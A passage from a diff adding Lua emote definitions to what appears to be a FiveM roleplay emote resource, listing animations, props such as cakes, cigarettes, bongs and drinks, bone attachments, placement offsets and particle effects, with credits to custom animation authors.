EmoteMoving = true, + ExitEmote = "shakeitoffhuman", + ExitEmoteType = "Exits" + } + }, + ----------------------------------------------------------------------------------------------------- + ------ This is an example of an emote with 2 props, pretty simple! ---------------------------------- + ----------------------------------------------------------------------------------------------------- + ["notepad"] = { + "missheistdockssetup1clipboard@base", + "base", + "Notepad", + AnimationOptions = { + Prop = 'prop_notepad_01', + PropBone = 18905, + PropPlacement = { + 0.1, + 0.02, + 0.05, + 10.0, + 0.0, + 0.0 + }, + SecondProp = 'prop_pencil_01', + SecondPropBone = 58866, + SecondPropPlacement = { + 0.11, + -0.02, + 0.001, + -120.0, + 0.0, + 0.0 + }, + -- EmoteLoop is used for emotes that should loop, its as simple as that. + -- Then EmoteMoving is used for emotes that should only play on the upperbody. + -- The code then checks both values and sets the MovementType to the correct one + EmoteLoop = true, + EmoteMoving = true + } + }, + ["box"] = { + "anim@heists@box_carry@", + "idle", + "Box", + AnimationOptions = { + Prop = "hei_prop_heist_box", + PropBone = 60309, + PropPlacement = { + 0.025, + 0.08, + 0.255, + -145.0, + 290.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["gift"] = { + "hold_flowers@dad", --- Custom Animation By Darks Animations + "hold_flowers_clip", + "Gift", + AnimationOptions = { + Prop = 'bzzz_prop_gift_orange', + PropBone = 60309, + PropPlacement = { + 0.0180, + 0.0390, + 0.1160, + -82.4097, + -157.5768, + -27.6738 + }, + EmoteMoving = true + } + }, + ["gift2"] = { + "hold_flowers@dad", --- Custom Animation By Darks Animations + "hold_flowers_clip", + "Gift 2", + AnimationOptions = { + Prop = 'bzzz_prop_gift_purple', + PropBone = 60309, + PropPlacement = { + 0.0180, + 0.0390, + 0.1160, + -82.4097, + -157.5768, + -27.6738 + }, + EmoteMoving = true + } + }, + ["k12saw"] = { + "anim@heists@fleeca_bank@drilling", + "drill_straight_end", + "Firefighter K12 Saw", + AnimationOptions = { + Prop = "prop_tool_consaw", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0900, + 0.0500, + -70.3009797, + 71.0092017, + 83.759421 + }, + EmoteLoop = true, + EmoteMoving = true, + PtfxAsset = "scr_paletoscore", + PtfxName = "scr_paleto_box_sparks", + PtfxNoProp = true, + PtfxPlacement = { + 0.20, + 0.88, + 0.25, + 0.0, + 90.0, + 180.0, + 1.1 + }, + PtfxInfo = Translate('cut'), + PtfxWait = 0.8, + PtfxCanHold = false -- we set this to false, but yet it allows us to hold, which is the OPPOSITE of what it claims to do!? HUH!?? AVANOX!! + } + }, + ["carryextinguisher"] = { + "amb@lo_res_idles@", + "world_human_musician_bongos_lo_res_base", + "Firefighter Extinguisher", + AnimationOptions = { + Prop = "prop_fire_exting_1a", + PropBone = 28422, + PropPlacement = { + 0.1500, + 0.1400, + -0.5200, + 179.7874004, + -178.5954846, + 4.5961806 + }, + EmoteLoop = true, + EmoteMoving = true, + } + }, + ["maskup"] = { + "anim@mp_helmets@on_foot", + "visor_up", + "Firefighter Unmask", + AnimationOptions = { + EmoteDuration = 800, --- Even with EmoteLoop = false, this emote still loops, so we add a duration to force it to stop after a set amount of milliseconds. + EmoteMoving = true, + } + }, + ["maskdown"] = { + "anim@mp_helmets@on_foot", + "visor_down", + "Firefighter Mask", + AnimationOptions = { + EmoteDuration = 800, --- Even with EmoteLoop = false, this emote still loops, so we add a duration to force it to stop after a set amount of milliseconds. + EmoteMoving = true, + } + }, + ["adjustbag"] = { + "amb@world_human_hiker_standing@male@idle_a", + "idle_b", + "Firefighter Adjust Tank / Bag", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 9500 + } + }, + ["adjustpanel"] = { + "anim@scripted@heist@ig9_control_tower@male@", + "loop", + "Firefighter Pump PSI", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["cake"] = { --- Custom Prop & Emote By BzZzi + "anim@heists@box_carry@", + "idle", + "Birthday Cake", + AnimationOptions = { + Prop = 'bzzz_prop_cake_birthday_001', + PropBone = 18905, + PropPlacement = { + 0.33, + 0.09, + 0.2, + -128.0, + -245.0, + 2.0 + }, + EmoteMoving = true + } + }, + ["cake2"] = { --- Custom Prop & Emote By BzZzi + "anim@heists@box_carry@", + "idle", + "Baby Cake", + AnimationOptions = { + Prop = 'bzzz_prop_cake_baby_001', + PropBone = 18905, + PropPlacement = { + 0.33, + 0.09, + 0.2, + -94.0, + -162.0, + -44.0 + }, + EmoteMoving = true + } + }, + ["cake3"] = { --- Custom Prop & Emote By BzZzi + "anim@heists@box_carry@", + "idle", + "Casino Cake", + AnimationOptions = { + Prop = 'bzzz_prop_cake_casino001', + PropBone = 18905, + PropPlacement = { + 0.33, + 0.09, + 0.2, + -54.0, + -72.0, + -6.0 + }, + EmoteMoving = true + } + }, + ["cake4"] = { --- Custom Prop & Emote By BzZzi + "anim@heists@box_carry@", + "idle", + "Love Cake", + AnimationOptions = { + Prop = 'bzzz_prop_cake_love_001', + PropBone = 18905, + PropPlacement = { + 0.28, + 0.06, + 0.2, + -54.0, + -72.0, + -6.0 + }, + EmoteMoving = true + } + }, + ["cake5"] = { + "anim@heists@box_carry@", + "idle", + "Unicorn Cake", + AnimationOptions = { -- Custom Prop By PataMods + Prop = 'pata_cake', + PropBone = 28422, + PropPlacement = { + 0.0, + -0.0700, + -0.0400, + 10.0000, + 0.0000, + 0.0000 + }, + EmoteMoving = true + } + }, + ["cake6"] = { + "anim@heists@box_carry@", + "idle", + "Pride Cake", + AnimationOptions = { -- Custom Prop By PataMods + Prop = 'pata_cake2', + PropBone = 28422, + PropPlacement = { + 0.0, + -0.0700, + -0.0400, + 10.0000, + 0.0000, + 0.0000 + }, + EmoteMoving = true + } + }, + ["cake7"] = { -- Custom Prop By PataMods + "anim@heists@box_carry@", + "idle", + "Chocolate Mud Cake", + AnimationOptions = { + Prop = 'pata_cake3', + PropBone = 28422, + PropPlacement = { + -0.0100, + -0.0390, + -0.0800, + 10.0000, + 0.0000, + 0.0000 + }, + EmoteMoving = true + } + }, + ["cakew"] = { + "anim@move_f@waitress", + "idle", + "Cake Waiter - Birthday", + AnimationOptions = { + Prop = "bzzz_prop_cake_birthday_001", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0100, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["cakew2"] = { --- Custom Prop & Emote By BzZzi + "anim@move_f@waitress", + "idle", + "Cake Waiter - Baby", + AnimationOptions = { + Prop = "bzzz_prop_cake_baby_001", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0100, + 0.0, + 0.0, + 80.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["cakew3"] = { --- Custom Prop & Emote By BzZzi + "anim@move_f@waitress", + "idle", + "Cake Waiter - Casino", + AnimationOptions = { + Prop = "bzzz_prop_cake_casino001", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0100, + 0.0, + 0.0, + -160.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["cakew4"] = { --- Custom Prop & Emote By BzZzi + "anim@move_f@waitress", + "idle", + "Cake Waiter - Love", + AnimationOptions = { + Prop = "bzzz_prop_cake_love_001", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0100, + 0.0, + 0.0, + 180.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["cakew5"] = { + "anim@move_f@waitress", + "idle", + "Cake Waiter - Unicorn", + AnimationOptions = { + Prop = "pata_cake", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.1100, + 0.0, + 0.0, + 30.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["cakew6"] = { + "anim@move_f@waitress", + "idle", + "Cake Waiter - Pride", + AnimationOptions = { + Prop = "pata_cake2", + PropBone = 28422, + PropPlacement = { + 0.0000, + 0.0000, + 0.1100, + 0.0, + 0.0, + 20.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["cakew7"] = { --- Custom Prop & Emote By BzZzi + "anim@move_f@waitress", + "idle", + "Cake Waiter - Chocolate Mud", + AnimationOptions = { + Prop = "pata_cake3", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.1100, + 0.0, + 0.0, + 30.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["rose"] = { + "anim@heists@humane_labs@finale@keycards", + "ped_a_enter_loop", + "Rose", + AnimationOptions = { + Prop = "prop_single_rose", + PropBone = 18905, + PropPlacement = { + 0.13, + 0.15, + 0.0, + -100.0, + 0.0, + -20.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["dollar"] = { + "anim@heists@humane_labs@finale@keycards", + "ped_a_enter_loop", + "Dollar", + AnimationOptions = { + Prop = "p_banknote_onedollar_s", + PropBone = 60309, + PropPlacement = { + -0.0020, + -0.0030, + 0.0320, + 82.2434, + -106.9746, + 1.3733 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["balloon"] = { + "anim@heists@humane_labs@finale@keycards", + "ped_a_enter_loop", + "Balloon", + AnimationOptions = { + Prop = "heart_balloon", + PropBone = 60309, + PropPlacement = { + 0.25, + -0.84, + 0.53, + -157.2041, + -101.1702, + 28.0243 + }, + EmoteStuck = true, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["balloon2"] = { + "anim@heists@humane_labs@finale@keycards", + "ped_a_enter_loop", + "Balloon 2 - Pride", + AnimationOptions = { + Prop = "pride_heart_balloon", + PropBone = 60309, + PropPlacement = { + 1.0600, + 0.4900, + 0.0140, + 73.5103, + -30.9638, + 19.3946 + }, + EmoteStuck = true, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["smoke2"] = { + "amb@world_human_aa_smoke@male@idle_a", + "idle_c", + "Smoke 2", + AnimationOptions = { + Prop = 'ng_proc_cigarette01a', + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true, + PtfxAsset = "scr_mp_cig", + PtfxName = "ent_anim_cig_smoke", + PtfxNoProp = false, + PtfxPlacement = { + -0.07, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('smoke'), + PtfxWait = 0.8, + PtfxCanHold = true + } + }, + ["smoke3"] = { + "amb@world_human_aa_smoke@male@idle_a", + "idle_b", + "Smoke 3", + AnimationOptions = { + Prop = 'ng_proc_cigarette01a', + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true, + PtfxAsset = "scr_mp_cig", + PtfxName = "ent_anim_cig_smoke", + PtfxNoProp = false, + PtfxPlacement = { + -0.07, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('smoke'), + PtfxWait = 0.8, + PtfxCanHold = true + } + }, + ["smoke4"] = { + "amb@world_human_smoking@female@idle_a", + "idle_b", + "Smoke 4", + AnimationOptions = { + Prop = 'ng_proc_cigarette01a', + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true, + PtfxAsset = "scr_mp_cig", + PtfxName = "ent_anim_cig_smoke", + PtfxNoProp = false, + PtfxPlacement = { + -0.07, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('smoke'), + PtfxWait = 0.8, + PtfxCanHold = true + } + }, + ["smoke5"] = { --- Custom Emote Provided To RPEmotes By Mr Witt + "mrwitt@composed_photo_moments", + "mrwitt", + "Smoke 5", + AnimationOptions = { + Prop = 'ng_proc_cigarette01a', + PropBone = 64097, + PropPlacement = { + 0.0020, + 0.0010, + -0.0090, + 0.0, + 0.0, + 50.0 + }, + EmoteLoop = true, + EmoteMoving = false, + PtfxAsset = "scr_mp_cig", + PtfxName = "ent_anim_cig_smoke", + PtfxNoProp = false, + PtfxPlacement = { + -0.07, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('smoke'), + PtfxWait = 0.8, + PtfxCanHold = true + } + }, + ["vape"] = { + "amb@world_human_smoking@male@male_b@base", + "base", + "Vape", + AnimationOptions = { + Prop = 'ba_prop_battle_vape_01', + PropBone = 28422, + PropPlacement = { + -0.0290, + 0.0070, + -0.0050, + 91.0, + 270.0, + -360.0 + }, + EmoteMoving = true, + EmoteLoop = true, + PtfxAsset = "scr_agencyheistb", + PtfxName = "scr_agency3b_elec_box", + PtfxNoProp = true, + PtfxBone = 31086, + PtfxPlacement = { + 0.0, + 0.170, + 0.0, + 0.0, + 0.0, + 0.0, + 1.4 + }, + PtfxInfo = Translate('vape'), + PtfxWait = 0.8, + PtfxCanHold = true + } + }, + ["vape2"] = { + "amb@world_human_smoking@male@male_b@base", + "base", + "Vape 2", + AnimationOptions = { + Prop = 'xm3_prop_xm3_vape_01a', + PropBone = 28422, + PropPlacement = { + -0.02, + -0.02, + 0.02, + 58.0, + 110.0, + 10.0 + }, + EmoteMoving = true, + EmoteLoop = true, + PtfxAsset = "scr_agencyheistb", + PtfxName = "scr_agency3b_elec_box", + PtfxNoProp = true, + PtfxBone = 31086, + PtfxPlacement = { + 0.0, + 0.170, + 0.0, + 0.0, + 0.0, + 0.0, + 1.4 + }, + PtfxInfo = Translate('vape'), + PtfxWait = 1.8, + PtfxCanHold = true + } + }, + ["bong"] = { + "anim@safehouse@bong", + "bong_stage3", + "Bong", + AnimationOptions = { + Prop = 'hei_heist_sh_bong_01', + PropBone = 18905, + PropPlacement = { + 0.10, + -0.25, + 0.0, + 95.0, + 190.0, + 180.0 + }, + EmoteLoop = true, + EmoteMoving = true, + PtfxAsset = "scr_agencyheistb", + PtfxName = "scr_agency3b_elec_box", + PtfxNoProp = true, + PtfxBone = 31086, + PtfxPlacement = { + 0.0, + 0.170, + 0.0, + 0.0, + 0.0, + 0.0, + 1.4 + }, + PtfxInfo = Translate('vape'), + PtfxWait = 0.8, + PtfxCanHold = true + } + }, + ["bong2"] = { + "anim@safehouse@bong", + "bong_stage3", + "Bong 2", + AnimationOptions = { + Prop = 'xm3_prop_xm3_bong_01a', + PropBone = 18905, + PropPlacement = { + 0.10, + -0.25, + 0.0, + 95.0, + 190.0, + 180.0 + }, + EmoteLoop = true, + EmoteMoving = true, + PtfxAsset = "scr_agencyheistb", + PtfxName = "scr_agency3b_elec_box", + PtfxNoProp = true, + PtfxBone = 31086, + PtfxPlacement = { + 0.0, + 0.170, + 0.0, + 0.0, + 0.0, + 0.0, + 1.4 + }, + PtfxInfo = Translate('vape'), + PtfxWait = 0.8, + PtfxCanHold = true + } + }, + ["bong3"] = { + "sit_bong@dark", + "sit_bong_clip", + "Bong 3 - Sit & Rip", + AnimationOptions = { + Prop = 'hei_heist_sh_bong_01', + PropBone = 60309, + PropPlacement = { + 0.0490, + -0.2000, + 0.0800, + -85.0199, + 102.3320, + -15.0085 + }, + EmoteLoop = true, + ExitEmote = "getup", + ExitEmoteType = "Exits", + PtfxAsset = "scr_agencyheistb", + PtfxName = "scr_agency3b_elec_box", + PtfxNoProp = true, + PtfxBone = 31086, + PtfxPlacement = { + 0.0, + 0.170, + 0.0, + 0.0, + 0.0, + 0.0, + 1.4 + }, + PtfxInfo = Translate('vape'), + PtfxWait = 0.8, + PtfxCanHold = true + } + }, + ["bong4"] = { + "sit_bong@dark", + "sit_bong_clip", + "Bong 4 - Sit & Rip Purple", + AnimationOptions = { + Prop = 'xm3_prop_xm3_bong_01a', + PropBone = 60309, + PropPlacement = { + 0.0490, + -0.2000, + 0.0800, + -85.0199, + 102.3320, + -15.0085 + }, + EmoteLoop = true, + ExitEmote = "getup", + ExitEmoteType = "Exits", + PtfxAsset = "scr_agencyheistb", + PtfxName = "scr_agency3b_elec_box", + PtfxNoProp = true, + PtfxBone = 31086, + PtfxPlacement = { + 0.0, + 0.170, + 0.0, + 0.0, + 0.0, + 0.0, + 1.4 + }, + PtfxInfo = Translate('vape'), + PtfxWait = 0.8, + PtfxCanHold = true + } + }, + ["joint2"] = { --- Custom Emote Provided To RPEmotes By Sel of Darks Animations + "smoke_m@sel", + "smoke_m_clip", + "Pass The Blunt", + AnimationOptions = { + Prop = 'p_cs_joint_01', + PropBone = 26612, + PropPlacement = { + 0.0540, + -0.0120, + 0.0480, + 172.3040, + -131.4506, + 45.1778 + }, + EmoteLoop = true, + EmoteMoving = true, + PtfxAsset = "scr_mp_cig", + PtfxName = "ent_anim_cig_smoke", + PtfxNoProp = false, + PtfxPlacement = { + -0.07, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('smoke'), + PtfxWait = 0.5, + PtfxCanHold = true + } + }, + ["fishing1"] = { + "amb@world_human_stand_fishing@idle_a", + "idle_a", + "Fishing 1", + AnimationOptions = { + Prop = 'prop_fishing_rod_01', + PropBone = 60309, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["fishing2"] = { + "amb@world_human_stand_fishing@idle_a", + "idle_b", + "Fishing 2", + AnimationOptions = { + Prop = 'prop_fishing_rod_01', + PropBone = 60309, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["fishing3"] = { + "amb@world_human_stand_fishing@idle_a", + "idle_c", + "Fishing 3", + AnimationOptions = { + Prop = 'prop_fishing_rod_01', + PropBone = 60309, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["icefishing"] = { -- Custom Emote By EP + "timetable@ron@ig_3_couch", + "base", + "Ice Fishing", + AnimationOptions = { + Prop = 'pprp_icefishing_box_02', + PropBone = 0, + PropPlacement = { + -0.05, + 0.0, + -0.63, + 7.0, + 0.0, + 180.0 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["icefishing2"] = { -- Custom Emote By EP + "move_weapon@jerrycan@generic", + "idle", + "Ice Fishing 2", + AnimationOptions = { + Prop = 'pprp_icefishing_box_01', + PropBone = 28422, + PropPlacement = { + -0.8, + 0.03, + 0.04, + 0.0, + -90.0, + 100.0 + }, + SecondProp = 'pprp_icefishing_augur', + SecondPropBone = 24818, + SecondPropPlacement = { + -0.8, + -0.2, + 0.0, + 0.0, + 90.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["suitcase"] = { + "move_weapon@jerrycan@generic", + "idle", + "Suitcase", + AnimationOptions = { + Prop = "prop_ld_suitcase_01", + PropBone = 57005, + PropPlacement = { + 0.35, + 0.0, + 0.0, + 0.0, + 266.0, + 90.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["suitcase2"] = { + "move_weapon@jerrycan@generic", + "idle", + "Suitcase 2", + AnimationOptions = { + Prop = "prop_security_case_01", + PropBone = 57005, + PropPlacement = { + 0.13, + 0.0, + -0.01, + 0.0, + 280.0, + 90.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["boombox"] = { + "move_weapon@jerrycan@generic", + "idle", + "Boombox", + AnimationOptions = { + Prop = "prop_boombox_01", + PropBone = 57005, + PropPlacement = { + 0.27, + 0.0, + 0.0, + 0.0, + 263.0, + 58.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["boombox2"] = { + "molly@boombox1", + "boombox1_clip", + "Boombox 2", + AnimationOptions = { + Prop = "prop_cs_sol_glasses", + PropBone = 31086, + PropPlacement = { + 0.0440, + 0.0740, + 0.0000, + -160.9843, + -88.7288, + -0.6197 + }, + SecondProp = 'prop_ghettoblast_02', + SecondPropBone = 10706, + SecondPropPlacement = { + -0.2310, + -0.0770, + 0.2410, + -179.7256, + 176.7406, + 23.0190 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["toolbox"] = { + "move_weapon@jerrycan@generic", + "idle", + "Toolbox", + AnimationOptions = { + Prop = "prop_tool_box_04", + PropBone = 28422, + PropPlacement = { + 0.3960, + 0.0410, + -0.0030, + -90.00, + 0.0, + 90.00 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["toolbox2"] = { + "move_weapon@jerrycan@generic", + "idle", + "Toolbox 2", + AnimationOptions = { + Prop = "imp_prop_tool_box_01a", + PropBone = 28422, + PropPlacement = { + 0.3700, + 0.0200, + 0.0, + 90.00, + 0.0, + -90.00 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["toolbox3"] = { + "move_weapon@jerrycan@generic", + "idle", + "Toolbox 3", + AnimationOptions = { + Prop = "xm3_prop_xm3_tool_box_01a", + PropBone = 28422, + PropPlacement = { + 0.3700, + 0.0200, + 0.0, + 90.00, + 0.0, + -90.00 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["toolbox4"] = { + "move_weapon@jerrycan@generic", + "idle", + "Toolbox 4", + AnimationOptions = { + Prop = "xm3_prop_xm3_tool_box_02a", + PropBone = 28422, + PropPlacement = { + 0.3700, + 0.0200, + 0.0, + 90.00, + 0.0, + -90.00 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["cashbox"] = { + "move_weapon@jerrycan@generic", + "idle", + "Cash Box", + AnimationOptions = { + Prop = "m23_1_prop_m31_cashbox_01a", + PropBone = 28422, + PropPlacement = { + 0.0550, + 0.0090, + -0.0100, + 90.00, + 0.0, + -81.0000 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["gbag"] = { + "missfbi4prepp1", + "_idle_garbage_man", + "Garbage Bag", + AnimationOptions = { + Prop = "prop_cs_street_binbag_01", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0400, + -0.0200, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["beerbox"] = { + "move_weapon@jerrycan@generic", + "idle", + "Beer Box 1", + AnimationOptions = { + Prop = "v_ret_ml_beerdus", + PropBone = 57005, + PropPlacement = { + 0.22, + 0.0, + 0.0, + 0.0, + 266.0, + 48.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["beerbox2"] = { + "move_weapon@jerrycan@generic", + "idle", + "Beer Box 2", + AnimationOptions = { + Prop = "v_ret_ml_beeram", + PropBone = 57005, + PropPlacement = { + 0.22, + 0.0, + 0.0, + 0.0, + 266.0, + 48.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["beerbox3"] = { + "move_weapon@jerrycan@generic", + "idle", + "Beer Box 3", + AnimationOptions = { + Prop = "v_ret_ml_beerpride", + PropBone = 57005, + PropPlacement = { + 0.22, + 0.0, + 0.0, + 0.0, + 266.0, + 48.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["beerbox4"] = { + "move_weapon@jerrycan@generic", + "idle", + "Beer Box 4", + AnimationOptions = { + Prop = "v_ret_ml_beerbar", + PropBone = 57005, + PropPlacement = { + 0.22, + 0.0, + 0.0, + 0.0, + 266.0, + 60.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["mugshot"] = { + "mp_character_creation@customise@male_a", + "loop", + "Mugshot", + AnimationOptions = { + Prop = 'prop_police_id_board', + PropBone = 58868, + PropPlacement = { + 0.12, + 0.24, + 0.0, + 5.0, + 0.0, + 70.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["coffee"] = { + "amb@world_human_drinking@coffee@male@idle_a", + "idle_c", + "Coffee", + AnimationOptions = { + Prop = 'p_amb_coffeecup_01', + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["coffeecall"] = { + "switch@michael@coffee_w_dave", + "002291_02_fbi_3_coffee_w_dave_idle_dave", + "Coffee Phone Call", + AnimationOptions = { + Prop = 'p_ing_coffeecup_01', + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + -0.0140, + 0.0, + 0.0, + 90.0 + }, + SecondProp = 'prop_phone_taymckenzienz', + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7}, + }, + SecondPropBone = 60309, + SecondPropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["whiskey"] = { + "amb@world_human_drinking@coffee@male@idle_a", + "idle_c", + "Whiskey", + AnimationOptions = { + Prop = 'prop_drink_whisky', + PropBone = 28422, + PropPlacement = { + 0.01, + -0.01, + -0.06, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["whiskeyb"] = { + "amb@world_human_drinking@beer@male@idle_a", + "idle_a", + "Whiskey Bottle", + AnimationOptions = { + Prop = 'ba_prop_battle_whiskey_bottle_2_s', + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.05, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["beer"] = { + "amb@world_human_drinking@beer@male@idle_a", + "idle_c", + "Beer", + AnimationOptions = { + Prop = 'prop_amb_beer_bottle', + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.06, + 0.0, + 15.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["beer2"] = { + "amb@world_human_drinking@beer@male@idle_a", + "idle_c", + "Beer 2", + AnimationOptions = { + Prop = 'prop_amb_beer_bottle', + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.06, + 0.0, + 15.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["beer3"] = { + "amb@world_human_drinking@beer@male@idle_a", + "idle_a", + "Beer 3", + AnimationOptions = { + Prop = 'p_cs_bottle_01', + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["beer4"] = { + "amb@world_human_drinking@beer@male@idle_a", + "idle_b", + "Beer 4 - Pour One Out For The Homies", + AnimationOptions = { + Prop = 'p_cs_bottle_01', + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = false, + EmoteMoving = true + } + }, + ["beer5"] = { + "amb@world_human_drinking@beer@male@idle_a", + "idle_c", + "Beer 5", + AnimationOptions = { + Prop = 'p_cs_bottle_01', + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["whiskeyb2"] = { + "amb@world_human_drinking@beer@male@idle_a", + "idle_a", + "Whiskey Bottle 2", + AnimationOptions = { + Prop = 'ba_prop_battle_whiskey_bottle_2_s', + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.05, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["whiskeyb3"] = { + "amb@world_human_drinking@beer@male@idle_a", + "idle_a", + "Whiskey Bottle 3", + AnimationOptions = { + Prop = 'ba_prop_battle_whiskey_bottle_2_s', + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.05, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["beerf"] = { + "amb@world_human_drinking@beer@female@idle_a", + "idle_a", + "Beer Female", + AnimationOptions = { + Prop = 'prop_amb_beer_bottle', + PropBone = 28422, + PropPlacement = { + 0.0, + -0.0, + 0.05, + 15.0, + 15.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["beercan"] = { + "amb@world_human_drinking@coffee@male@idle_a", + "idle_c", + "Beer Can", + AnimationOptions = { + Prop = 'v_res_tt_can01', + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 80.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["beercan2"] = { + "amb@world_human_drinking@coffee@male@idle_a", + "idle_c", + "Beer Can 2", + AnimationOptions = { + Prop = 'v_res_tt_can02', + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + -150.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["beercan3"] = { + "amb@world_human_drinking@coffee@male@idle_a", + "idle_c", + "Beer Can 3", + AnimationOptions = { + Prop = 'h4_prop_h4_can_beer_01a', + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + -0.0700, + 0.0, + 0.0, + 90.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["wine2"] = { + "amb@world_human_drinking@beer@female@idle_a", + "idle_e", + "Wine 2 - Bottle", + AnimationOptions = { + Prop = 'prop_wine_rose', + PropBone = 28422, + PropPlacement = { + -0.0, + 0.04, + -0.19, + 10.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true, + --- PropPlacement = {-0.0, 0.03, -0.20, 5.0, 0.0, 0.0}, + --- F&B L&R U&D R.F&B + } + }, + ["beerf3"] = { + "amb@world_human_drinking@beer@female@idle_a", + "idle_a", + "Beer Female 3", + AnimationOptions = { + Prop = 'prop_amb_beer_bottle', + PropBone = 28422, + PropPlacement = { + 0.0, + -0.0, + 0.05, + 15.0, + 15.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["wine3"] = { + 